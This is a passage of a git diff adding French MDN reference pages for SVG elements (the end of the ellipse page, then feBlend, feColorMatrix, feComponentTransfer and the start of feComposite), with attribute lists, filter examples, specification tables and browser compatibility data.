+ <dt>{{ SVGAttr("rx") }}</dt>
+ <dd>Le rayon de l'ellipse sur l'axe x.<br>
+ <small>Type de valeur : <code>auto</code>|<strong><a href="/fr/docs/Web/SVG/Content_type#Length">&lt;longueur&gt;</a></strong>|<a href="/fr/docs/Web/SVG/Content_type#Percentage">&lt;pourcentage&gt;</a>; Valeur par défaut : <code>auto</code>; Animable : <strong>oui</strong>.</small></dd>
+ <dt>{{ SVGAttr("ry") }}</dt>
+ <dd>Le rayon de l'ellipse sur l'axe y.<br>
+ <small>Type de valeur : <code>auto</code>|<strong><a href="/fr/docs/Web/SVG/Content_type#Length">&lt;longueur&gt;</a></strong>|<a href="/fr/docs/Web/SVG/Content_type#Percentage">&lt;pourcentage&gt;</a>; Valeur par défaut : <code>auto</code>; Animable : <strong>oui</strong>.</small></dd>
+ <dt>{{ SVGAttr("pathLength") }}</dt>
+ <dd>Cet attribut permet de spécifier la longueur totale du tracé, en unités de l'utilisateur.<br>
+ <small>Type de valeur : <strong><a href="/fr/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>; Valeur par défaut : <code>auto</code>; Animable : <strong>oui</strong>.</small></dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> À partir de SVG2, cx, cy, rx, et ry sont des <em>Propriétés Géomatriques</em>, ce qui signifie que ces attributs peuvent aussi être utilisés comme propriétés CSS pour cet élément.</p>
+</div>
+
+<h3 id="Attributs_Globaux">Attributs Globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs centraux</a></dt>
+ <dd>Plus notamment : {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd>{{SVGAttr('class')}}, {{SVGAttr('style')}}</dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd>Plus notamment : {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</dd>
+ <dt>Attributs d'événements</dt>
+ <dd><a href="/fr/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Attributs d'événément globaux</a>, <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Attributs d'événément graphiques</a></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd>Plus notamment : {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</dd>
+ <dt>Attributs ARIA</dt>
+ <dd><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></dd>
+</dl>
+
+<h2 id="Usage">Usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Ajout de la valeur <code>auto</code> pour <code>rx</code> et <code>ry</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en/DOM/SVGEllipseElement" title="en/DOM/SVGEllipseElement">SVGEllipseElement</a></code>.</p>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th scope="col">Fonctionnalités</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Cette table est basée sur <a href="/en/SVG/Compatibility_sources" title="fr/SVG/Compatibility sources"> ces ressources</a>.</p>
+
+<h2 id="Corrélat">Corrélat</h2>
+
+<ul>
+ <li>{{ SVGElement("circle") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/feblend/index.html b/files/fr/web/svg/element/feblend/index.html
new file mode 100644
index 0000000000..f4c4a3fdf0
--- /dev/null
+++ b/files/fr/web/svg/element/feblend/index.html
@@ -0,0 +1,117 @@
+---
+title: <feBlend>
+slug: Web/SVG/Element/feBlend
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feBlend
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feBlend&gt;</code></strong> permet de combiner deux objets en utilisant un mode de fusion définit, un peu de la même manière que les logiciels de retouche d'image permettent de fusionner deux calques. Le mode à utiliser est définit par l'attribut {{SVGAttr("mode")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("in2")}}</li>
+ <li>{{SVGAttr("mode")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEBlendElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[5-6]">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="spotlight"&gt;
+      &lt;feFlood result="floodFill" x="0" y="0" width="100%" height="100%"
+          flood-color="green" flood-opacity="1"/&gt;
+      &lt;feBlend in="SourceGraphic" in2="floodFill" mode="multiply"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;image xlink:href="/files/6457/mdn_logo_only_color.png"
+      x="10%" y="10%" width="80%" height="80%"
+      style="filter:url(#spotlight);"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feBlendElement", "&lt;feBlend&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Modes de fusion externalisés vers {{SpecName("Compositing", "#ltblendmodegt")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feBlendElement", "&lt;feBlend&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feBlend")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fecolormatrix/index.html b/files/fr/web/svg/element/fecolormatrix/index.html
new file mode 100644
index 0000000000..4f35a9525b
--- /dev/null
+++ b/files/fr/web/svg/element/fecolormatrix/index.html
@@ -0,0 +1,163 @@
+---
+title: <feColorMatrix>
+slug: Web/SVG/Element/feColorMatrix
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feColorMatrix
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre SVG <strong><code>&lt;feColorMatrix&gt;</code></strong> change les couleurs d'un élément en fonction d'une matrice de transformation. Chaque pixel (représenté par un vecteur [R,G,B,A]) est <a href="https://fr.wikipedia.org/wiki/Produit_matriciel">multiplié par matrice</a> pour créer une nouvelle couleur:</p>
+
+<pre>| R' |     | a00 a01 a02 a03 a04 |   | R |
+| G' |     | a10 a11 a12 a13 a14 |   | G |
+| B' |  =  | a20 a21 a22 a23 a24 | * | B |
+| A' |     | a30 a31 a32 a33 a34 |   | A |
+| 1  |     |  0   0   0   0   1  |   | 1 |</pre>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("type")}}</li>
+ <li>{{SVGAttr("values")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEColorMatrixElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[19-24,31-33,40-42,49-50]">&lt;svg width="100%" height="100%" viewBox="0 0 150 360"
+    preserveAspectRatio="xMidYMid meet"
+    xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- ref --&gt;
+  &lt;defs&gt;
+    &lt;g id="circles"&gt;
+      &lt;circle cx="30" cy="30" r="20" fill="blue" fill-opacity="0.5" /&gt;
+      &lt;circle cx="20" cy="50" r="20" fill="green" fill-opacity="0.5" /&gt;
+      &lt;circle cx="40" cy="50" r="20" fill="red" fill-opacity="0.5" /&gt;
+    &lt;/g&gt;
+  &lt;/defs&gt;
+  &lt;use href="#circles" /&gt;
+  &lt;text x="70" y="50"&gt;Reference&lt;/text&gt;
+
+  &lt;!-- matrix --&gt;
+  &lt;filter id="colorMeMatrix"&gt;
+    &lt;feColorMatrix in="SourceGraphic"
+        type="matrix"
+        values="0 0 0 0 0
+                1 1 1 1 0
+                0 0 0 0 0
+                0 0 0 1 0" /&gt;
+  &lt;/filter&gt;
+  &lt;use href="#circles" transform="translate(0 70)" filter="url(#colorMeMatrix)" /&gt;
+  &lt;text x="70" y="120"&gt;matrix&lt;/text&gt;
+
+  &lt;!-- saturate --&gt;
+  &lt;filter id="colorMeSaturate"&gt;
+    &lt;feColorMatrix in="SourceGraphic"
+        type="saturate"
+        values="0.2" /&gt;
+  &lt;/filter&gt;
+  &lt;use href="#circles" transform="translate(0 140)" filter="url(#colorMeSaturate)" /&gt;
+  &lt;text x="70" y="190"&gt;saturate&lt;/text&gt;
+
+  &lt;!-- hueRotate --&gt;
+  &lt;filter id="colorMeHueRotate"&gt;
+    &lt;feColorMatrix in="SourceGraphic"
+        type="hueRotate"
+        values="180" /&gt;
+  &lt;/filter&gt;
+  &lt;use href="#circles" transform="translate(0 210)" filter="url(#colorMeHueRotate)" /&gt;
+  &lt;text x="70" y="260"&gt;hueRotate&lt;/text&gt;
+
+  &lt;!-- luminanceToAlpha --&gt;
+  &lt;filter id="colorMeLTA"&gt;
+    &lt;feColorMatrix in="SourceGraphic"
+        type="luminanceToAlpha" /&gt;
+  &lt;/filter&gt;
+  &lt;use href="#circles" transform="translate(0 280)" filter="url(#colorMeLTA)" /&gt;
+  &lt;text x="70" y="320"&gt;luminanceToAlpha&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", "100%", 700, "/files/4371/test.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feColorMatrixElement', '&lt;feColorMatrix&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feColorMatrixElement', '&lt;feColorMatrix&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feColorMatrix")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fecomponenttransfer/index.html b/files/fr/web/svg/element/fecomponenttransfer/index.html
new file mode 100644
index 0000000000..0caaba1681
--- /dev/null
+++ b/files/fr/web/svg/element/fecomponenttransfer/index.html
@@ -0,0 +1,165 @@
+---
+title: <feComponentTransfer>
+slug: Web/SVG/Element/feComponentTransfer
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feComponentTransfer
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feComponentTransfer&gt;</code></strong> permet d'effectuer un remappage des composantes de couleur (rouge, bleu, vert et alpha) de chaque pixel. Cela permet notamment de régler la luminosité, le constraste, la balance des couleurs ou encore le seuillage.</p>
+
+<p>Les calculs sont effectués sur les valeurs de couleur non prémultipliées. Chaque canal de couleur est modifié en utilisant le résultat des éléments {{SVGElement("feFuncR")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, et {{SVGElement("feFuncA")}} placés à l'intérieur de la balise.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEComponentTransferElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[12-17,20-24,27-31,34-38]">&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 600 300"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="rainbow" gradientUnits="userSpaceOnUse" x1="0" y1="0" x2="100%" y2="0"&gt;
+      &lt;stop offset="0" stop-color="#ff0000"&gt;&lt;/stop&gt;
+      &lt;stop offset="0.2" stop-color="#ffff00"&gt;&lt;/stop&gt;
+      &lt;stop offset="0.4" stop-color="#00ff00"&gt;&lt;/stop&gt;
+      &lt;stop offset="0.6" stop-color="#00ffff"&gt;&lt;/stop&gt;
+      &lt;stop offset="0.8" stop-color="#0000ff"&gt;&lt;/stop&gt;
+      &lt;stop offset="1" stop-color="#800080"&gt;&lt;/stop&gt;
+    &lt;/linearGradient&gt;
+    &lt;filter id="identity" x="0" y="0" width="100%" height="100%"&gt;
+      &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="identity"&gt;&lt;/feFuncR&gt;
+        &lt;feFuncG type="identity"&gt;&lt;/feFuncG&gt;
+        &lt;feFuncB type="identity"&gt;&lt;/feFuncB&gt;
+        &lt;feFuncA type="identity"&gt;&lt;/feFuncA&gt;
+      &lt;/feComponentTransfer&gt;
+    &lt;/filter&gt;
+    &lt;filter id="table" x="0" y="0" width="100%" height="100%"&gt;
+      &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="table" tableValues="0 0 1 1"&gt;&lt;/feFuncR&gt;
+        &lt;feFuncG type="table" tableValues="1 1 0 0"&gt;&lt;/feFuncG&gt;
+        &lt;feFuncB type="table" tableValues="0 1 1 0"&gt;&lt;/feFuncB&gt;
+      &lt;/feComponentTransfer&gt;
+    &lt;/filter&gt;
+    &lt;filter id="linear" x="0" y="0" width="100%" height="100%"&gt;
+      &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="0.5" intercept="0"&gt;&lt;/feFuncR&gt;
+        &lt;feFuncG type="linear" slope="0.5" intercept="0.25"&gt;&lt;/feFuncG&gt;
+        &lt;feFuncB type="linear" slope="0.5" intercept="0.5"&gt;&lt;/feFuncB&gt;
+      &lt;/feComponentTransfer&gt;
+    &lt;/filter&gt;
+    &lt;filter id="gamma" x="0" y="0" width="100%" height="100%"&gt;
+      &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="gamma" amplitude="4" exponent="7" offset="0"&gt;&lt;/feFuncR&gt;
+        &lt;feFuncG type="gamma" amplitude="4" exponent="4" offset="0"&gt;&lt;/feFuncG&gt;
+        &lt;feFuncB type="gamma" amplitude="4" exponent="1" offset="0"&gt;&lt;/feFuncB&gt;
+      &lt;/feComponentTransfer&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;g font-weight="bold"&gt;
+    &lt;text x="0" y="5%"&gt;Default&lt;/text&gt;
+    &lt;rect x="0" y="8%" width="100%" height="20"&gt;&lt;/rect&gt;
+    &lt;text x="0" y="26%"&gt;Identity&lt;/text&gt;
+    &lt;rect x="0" y="29%" width="100%" height="20" style="filter:url(#identity)"&gt;&lt;/rect&gt;
+    &lt;text x="0" y="47%"&gt;Table lookup&lt;/text&gt;
+    &lt;rect x="0" y="50%" width="100%" height="20" style="filter:url(#table)"&gt;&lt;/rect&gt;
+    &lt;text x="0" y="68%"&gt;Linear function&lt;/text&gt;
+    &lt;rect x="0" y="71%" width="100%" height="20" style="filter:url(#linear)"&gt;&lt;/rect&gt;
+    &lt;text x="0" y="89%"&gt;Gamma function&lt;/text&gt;
+    &lt;rect x="0" y="92%" width="100%" height="20" style="filter:url(#gamma)"&gt;&lt;/rect&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">rect {
+  fill: url(#rainbow);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", "100%", 340)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feComponentTransferElement', '&lt;feComponentTransfer&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Spécifie que les fonctions de transfert non définies sont traitées comme si elles avaient été définies avec pour  {{SVGAttr("type")}} <code>identity</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feComponentTransferElement', '&lt;feComponentTransfer&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feComponentTransfer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres" title="en/SVG/Tutorial/Filter_effects">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fecomposite/index.html b/files/fr/web/svg/element/fecomposite/index.html
new file mode 100644
index 0000000000..81510fafa9
--- /dev/null
+++ b/files/fr/web/svg/element/fecomposite/index.html
@@ -0,0 +1,288 @@
+---
+title: <feComposite>
+slug: Web/SVG/Element/feComposite
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feComposite
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feComposite&gt;</code></strong> effectue la combinaison de deux images en entrée, pixel par pixel, en utilisant une des opérations de composition de Porter-Duff: <code>over</code><em>, </em><code>in</code><em>, </em><code>atop</code><em>, </em><code>out</code><em>, </em><code>xor</code>, et <code>lighter</code>. Il est également possible d'appliquer une opération de type <code>arithmetic</code> (avec un résultat borné entre [0..1]).</p>
+
+<p>L'opération <code>arithmetic</code> est utile pour combiner le résultat de {{SVGElement("feDiffuseLighting")}} et {{SVGElement("feSpecularLighting")}} avec des textures. Si l'opération <code>arithmetic</code> est choisie, chaque pixel est calculé à l'aide de la formule suivante:</p>
+
+<pre class="brush: plain">result = k1*i1*i2 + k2*i1 + k3*i2 + k4
+</pre>
+
+<p>où</p>
+
+<ul>
+ <li><code>i1</code> et <code>i2</code> indiquent les valeurs des pixels correspondant aux images en entrée, {{SVGAttr("in")}} et {{SVGAttr("in2")}} respectivement</li>
+ <li><code>k1, k2, k3</code> et <code>k4</code> indiquent les valeurs des attributs du même nom</li>
+</ul>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de base</a></li>
